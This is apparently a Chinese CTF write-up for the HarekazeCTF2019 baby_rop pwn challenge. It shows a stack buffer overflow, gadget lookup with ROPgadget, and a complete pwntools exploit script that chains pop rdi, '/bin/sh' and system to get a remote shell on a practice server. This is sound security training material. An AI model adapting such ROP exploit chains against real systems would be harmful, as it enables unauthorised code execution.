[BUUCTF]PWN17——[HarekazeCTF2019]baby_rop

[BUUCTF]PWN17——[HarekazeCTF2019]baby_rop

附件

步骤:
例行检查,64位,开启了NX保护
在这里插入图片描述
试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错

在这里插入图片描述
64位ida载入,shift+f12查看程序里的字符串,看到了system 和 ‘/bin/sh’
在这里插入图片描述
双击跟进,ctrl+x查看一下哪里调用了字符串,没有找到函数,只找到了地址
shell=0x601048
在这里插入图片描述
system=0x400496
在这里插入图片描述
在这里插入图片描述
找到输入点,没有限制v4读入的数据,可以造成溢出,跟pwn16差不多,唯一的区别就是64位程序传参需要用到寄存器,我们找一下设置rdi寄存器的位置

ROPgadget --binary babyrop |grep "pop rdi"

rdi=0x400683
在这里插入图片描述
EXP:

from pwn import*

r=remote('node3.buuoj.cn',25853)

shell=0x601048
system=0x400496
rdi=0x400683

payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)

r.sendline(payload)
r.interactive()

flag不在根目录下,需要我们找一下,利用find -name flag找一下
在这里插入图片描述

原文地址:https://www.cnblogs.com/xlrp/p/14273717.html